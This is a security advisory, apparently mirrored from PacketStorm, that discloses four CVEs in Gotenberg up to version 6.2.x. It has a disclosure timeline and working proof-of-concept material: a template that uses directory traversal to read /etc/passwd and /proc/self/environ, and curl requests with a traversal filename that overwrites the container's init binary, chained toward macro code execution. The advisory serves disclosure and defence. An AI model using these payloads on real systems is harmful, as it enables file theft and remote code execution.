Share
## https://sploitus.com/exploit?id=PACKETSTORM:160744
1 Multiple vulnerabilities in Gotenberg <= 6.2.0  
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•  
  
Multiple vulnerabilities in Gotenberg (a Docker-powered stateless API  
for converting HTML, Markdown and Office documents to PDF used as a  
microservice) version <=6.2.0 allow a remote unauthenticated attacker  
to execute any command within Docker container.  
  
CVSSv3.1 chained score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
  
Disclosure summary: [https://sploit.tech/2020/12/29/Gotenberg.html]  
  
Write-up: [https://blazej-adamczyk.medium.com/0-day-bug-breaks-multi-million-dollar-system-38c9e31b27e9]  
  
Exploit code: [https://github.com/br0xpl/gotenberg_hack]  
  
Video: [https://youtu.be/NAv8qovLtgI]  
  
  
1.1 Download tirectory traversal  
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€  
  
CVE: CVE-2020-13449  
  
Vendor: [https://www.thecodingmachine.com]  
  
Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])  
  
Version: <=6.2.1  
  
Description: Directory traversal vulnerability in Markdown engine of  
Gotenberg version 6.2.1 and lower allows unauthorized attacker to read  
any container files.  
  
PoC:  
1. Create index.html file:  
โ”Œโ”€โ”€โ”€โ”€  
โ”‚ <!doctype html>  
โ”‚ <html lang="en">  
โ”‚ <head>  
โ”‚ <meta charset="utf-8">  
โ”‚ <title>My PDF</title>  
โ”‚ </head>  
โ”‚ <body>  
โ”‚ <pre style="white-space: pre-wrap;">  
โ”‚ Path:  
โ”‚ {{ .DirPath }}   
โ”‚ PASSWD:  
โ”‚ {{ toHTML .DirPath "../../../../etc/passwd" }}  
โ”‚ IP:  
โ”‚ {{ toHTML .DirPath "../../../../proc/net/fib_trie" }}  
โ”‚ TCP:  
โ”‚ {{ toHTML .DirPath "../../../../proc/net/tcp" }}  
โ”‚ env:  
โ”‚ {{ toHTML .DirPath "../../../../proc/self/environ" }}  
โ”‚ </pre>  
โ”‚ </body>  
โ”‚ </html>  
โ””โ”€โ”€โ”€โ”€  
2. Call markdown endpoint:  
โ”Œโ”€โ”€โ”€โ”€  
โ”‚ $ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html\   
โ”‚ -o result.pdf --header 'Content-Type: multipart/form-data'  
โ””โ”€โ”€โ”€โ”€  
  
  
1.2 Upload directory traversal  
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€  
  
CVE: CVE-2020-13450  
  
Vendor: [https://www.thecodingmachine.com]  
  
Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])  
  
Version: <=6.2.1  
  
Description: Directory traversal vulnerability in file upload function  
of Gotenberg version 6.2.1 and lower allows unauthorized attacker to  
upload and overwrite any writeable files outside the desired folder.  
  
This can lead to DoS, change program behaviour or even to code  
execution (see CVE-2020-13451).  
  
PoC:  
โ”Œโ”€โ”€โ”€โ”€  
โ”‚ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html \  
โ”‚ --form "files=@tini;filename=../../../tini" -o res.pdf\   
โ”‚ --header 'Content-Type: multipart/form-data'  
โ””โ”€โ”€โ”€โ”€  
  
  
1.3 Code exec vulnerability using incomplete cleanup vulnerability  
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€  
  
CVE: CVE-2020-13451  
  
Vendor: [https://www.thecodingmachine.com]  
  
Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])  
  
Version: <=6.2.0  
  
Description: Incomplete cleanup vulnerability in Office rendering  
engine of Gotenberg version 6.2.1 and lower allows unauthorized  
attacker (using a different vulnerability like CVE-2020-13450) to  
overwrite libreoffice config (profile) files and execute arbitrary  
code using macros.  
  
Gotenberg creates libreoffice profile when office endpoint is called  
in tmp choosing a folder with a name based on random ephemeral port  
number chosen by kernel. What is most important after finishing  
request the profile folder is not removed. Thus using a file upload  
vulnerability like the one described in CVE-2020-13450 an attacker can  
modify the profile preparing a macro which is going to be executed  
next time the same random profile will be reused.  
  
Analyzing kernel sources, in default kernel config, there will be  
about 14115 different ports choosen at random. The hack requires to  
retry many times but works reliably.  
  
Exploit code: [https://github.com/br0xpl/gotenberg_hack]  
  
  
1.4 Insecure permissions of main executable  
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€  
  
CVE: CVE-2020-13452  
  
Vendor: [https://www.thecodingmachine.com]  
  
Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])  
  
Version: <=6.2.1  
  
Description: Insecure permissions of /tini (writeable by user  
gotenberg) file potentially allows an attacker to overwrite the file  
what can lead to Deny of Service or even code execution.  
  
  
2 Timeline  
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•  
  
โ€ข 25.05.2020 - Reported an issue:  
[[https://github.com/thecodingmachine/gotenberg/issues/199]].  
โ€ข 04.06.2020 - Author confirms the issues and works on a fix.  
โ€ข 05.06.2020 - Pull request  
[[https://github.com/thecodingmachine/gotenberg/pull/208]] created.  
โ€ข 22.06.2020 - Fix merged to version 6.3.0.  
  
  
3 Credits  
โ•โ•โ•โ•โ•โ•โ•โ•โ•  
  
Author: Blazej Adamczyk | [https://sploit.tech/]  
  
Team: Efigo [https://efigo.pl/]